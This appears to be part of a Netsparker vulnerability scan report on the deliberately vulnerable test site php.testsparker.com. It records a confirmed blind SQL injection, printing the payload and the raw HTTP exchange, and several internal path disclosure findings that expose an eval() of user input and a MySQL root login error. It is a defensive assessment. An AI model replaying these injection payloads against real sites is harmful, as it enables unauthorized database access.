24.1. http://php.testsparker.com/artist.php?id=-1%20OR%201%3d1))%20AND%20IFNULL(ASCII(SUBSTRING((SELECT%200x4E4554535041524B4552)%2c9%2c1))%2c0)%3d82--%20
CONFIRMED
CONFIRMED
MethodParameterValue
GETid-1 OR 1=1)) AND IFNULL(ASCII(SUBSTRING((SELECT 0x4E4554535041524B4552),9,1)),0)=82--
Go to the highlighted output

Request

GET /artist.php?id=-1%20OR%201%3d1))%20AND%20IFNULL(ASCII(SUBSTRING((SELECT%200x4E4554535041524B4552)%2c9%2c1))%2c0)%3d82--%20 HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 160.3012
Total Bytes Received : 3245
Body Length : 3022
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Connection: Keep-Alive
Keep-Alive: timeout=5, max=67
Content-Length: 3022
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:11:10 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site - PHP</title>
<link href="/style.css" rel="stylesheet" type="text/css" media="screen" />
</head><link type="text/css" href="/Generics/style.css" rel="stylesheet"/>
<body>
<div id="wrapper">

<div id="menu">
<ul>
<li><a href="/process.php?file=Generics/index.nsp">Home</a></li>
<li><a href="/hello.php?name=Visitor">Hello</a></li>
<li><a href="/products.php?pro=url">Products</a></li>
<li><a href="/process.php?file=Generics/about.nsp">About</a></li>
<li><a href="/process.php?file=Generics/contact.nsp">Contact</a></li>
<li><a href="/auth/">Login</a></li>
</ul>
</div>
<!-- end #menu -->
<div id="header">

</div>
<!-- end #header --> <div id="page">
<div id="page-bgtop">
<div id="page-bgbtm">
<div id="content">
<div class="post">
<h2 class="title"><a href="artist.php#">Artist Service</a></h2>

<div style="clear: both;">&nbsp;</div>
<div class="entry">
<p>

<h3>Results: -1 OR 1=1)) AND IFNULL(ASCII(SUBSTRING((SELECT 0x4E4554535041524B4552),9,1)),0)=82-- </h3></br>

no rows returned
</p>

</div>
</div>
<div style="clear: both;">&nbsp;</div>
</div>
<!-- end #content -->

<div id="sidebar">
<ul>
<li>
<div id="search" >
<form method="get" action="artist.php">
<div>
<input type="text" name="id" id="search-text" value=""

CLASSIFICATION

WASC13

CVSS 3.0 SCORE

Base4 (Medium)
Temporal4 (Medium)
Environmental4 (Medium)

CVSS Vector String

CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N

CVSS 3.1 SCORE

Base4 (Medium)
Temporal4 (Medium)
Environmental4 (Medium)

CVSS Vector String

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N

25. [Possible] Internal Path Disclosure (Windows)

INFORMATION
3

Netsparker identified a possible Internal Path Disclosure (Windows) in the document.

Impact

There is no direct impact, however this information can help an attacker identify other vulnerabilities or help during the exploitation of other identified vulnerabilities.

Vulnerabilities

25.1. http://php.testsparker.com/hello.php?name=hello.php
MethodParameterValue
GETnamehello.php

Identified Internal Path(s)

  • C:\AppServ\www\hello.php

Certainty



Go to the highlighted output

Request

GET /hello.php?name=hello.php HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/process.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 154.8496
Total Bytes Received : 3163
Body Length : 2995
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 2995
Content-Type: text/html
Date: Mon, 13 Jul 20

>
<div class="post">
<h1 class="title"><a href="#">Hello Service </a></h1>
<p>
Hello Visitor<br />
<b>Parse error</b>: syntax error, unexpected T_STRING in <b>C:\AppServ\www\hello.php(24) : eval()'d code</b> on line <b>1</b><br />
20$str = 20 hello.php;20 </p>

<div style="clear: both;">&nbsp;</div>
<div class="entry">


</div>
</div>
<d

25.2. http://php.testsparker.com/hello.php?name=Visitor
MethodParameterValue
GETnameVisitor

Identified Internal Path(s)

  • C:\AppServ\www\hello.php

Certainty



Go to the highlighted output

Request

GET /hello.php?name=Visitor HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://php.testsparker.com/process.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 432.6624
Total Bytes Received : 3161
Body Length : 2993
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 2993
Content-Type: text/html
Date: Mon, 13 Jul 20

>
<div class="post">
<h1 class="title"><a href="#">Hello Service </a></h1>
<p>
Hello Visitor<br />
<b>Parse error</b>: syntax error, unexpected T_STRING in <b>C:\AppServ\www\hello.php(24) : eval()'d code</b> on line <b>1</b><br />
20$str = 20 Visitor;20 </p>

<div style="clear: both;">&nbsp;</div>
<div class="entry">


</div>
</div>
<div

25.3. http://php.testsparker.com/process.php?file=Generics/about.nsp
MethodParameterValue
GETfileGenerics/about.nsp

Identified Internal Path(s)

  • C:\AppServ\www\Generics\about.nsp

Certainty



Go to the highlighted output

Request

GET /process.php?file=Generics/about.nsp HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://php.testsparker.com/process.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 411.0625
Total Bytes Received : 3614
Body Length : 3446
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 3446
Content-Type: text/html
Date: Mon, 13 Jul 20

iv>
</div>
</div>

<br />
<b>Warning</b>: mysql_connect() [<a href='function.mysql-connect'>function.mysql-connect</a>]: Access denied for user 'root'@'localhost' (using password: YES) in <b>C:\AppServ\www\Generics\about.nsp</b> on line <b>31</b><br />
asd <!-- process.php load pages from path of the website. -->
<!-- FIXME: File / directory permissions -->
<!-- end #page -->
</div>

<div id="resetbar">
This web

Remedy

Ensure this is not a false positive. Due to the nature of the issue, Netsparker could not confirm that this file path was actually the real file path of the target web server.
  • Error messages should be disabled.
  • Remove this kind of sensitive data from the output.

External References

CLASSIFICATION

WASC13
Enabled Security Checks:Apache Struts S2-045 RCE,
Apache Struts S2-046 RCE,
BREACH Attack,
Code Evaluation,
Code Evaluation (Out of Band),
Command Injection,
Command Injection (Blind),
Content Security Policy,
Content-Type Sniffing,
Cookie,
Cross Frame Options Security,
Cross-Origin Resource Sharing (CORS),
Cross-Site Request Forgery,
Cross-site Scripting,
Cross-site Scripting (Blind),
Custom Script Checks (Active),
Custom Script Checks (Passive),
Custom Script Checks (Per Directory),
Custom Script Checks (Singular),
Drupal Remote Code Execution,
Expect Certificate Transparency (Expect-CT),
Expression Language Injection,
File Upload,
Header Analyzer,
Heartbleed,
HSTS,
HTML Content,
HTTP Header Injection,
HTTP Methods,
HTTP Status,
HTTP.sys (CVE-2015-1635),
IFrame Security,
Insecure JSONP Endpoint,
Insecure Reflected Content,
JavaScript Libraries,
Local File Inclusion,
Login Page Identifier,
Mixed Content,
Open Redirection,
Referrer Policy,
Reflected File Download,
Remote File Inclusion,
Remote File Inclusion (Out of Band),
Reverse Proxy Detection,
RoR Code Execution,
Server-Side Request Forgery (DNS),
Server-Side Request Forgery (Pattern Based),
Server-Side Template Injection,
Signatures,
SQL Injection (Blind),
SQL Injection (Boolean),
SQL Injection (Error Based),
SQL Injection (Out of Band),
SSL,
Static Resources (All Paths),
Static Resources (Only Root Path),
Unicode Transformation (Best-Fit Mapping),
WAF Identifier,
Web App Fingerprint,
Web Cache Deception,
WebDAV,
Windows Short Filename,
XML External Entity,
XML External Entity (Out of Band)
URL Rewrite Mode:Heuristic
Detected URL Rewrite Rule(s):

None

Excluded URL Patterns :(log|sign)\-?(out|off)
exit
endsession
gtm\.js
WebResource\.axd
ScriptResource\.axd
Authentication:None
Scheduled:No
Additional Website(s):

None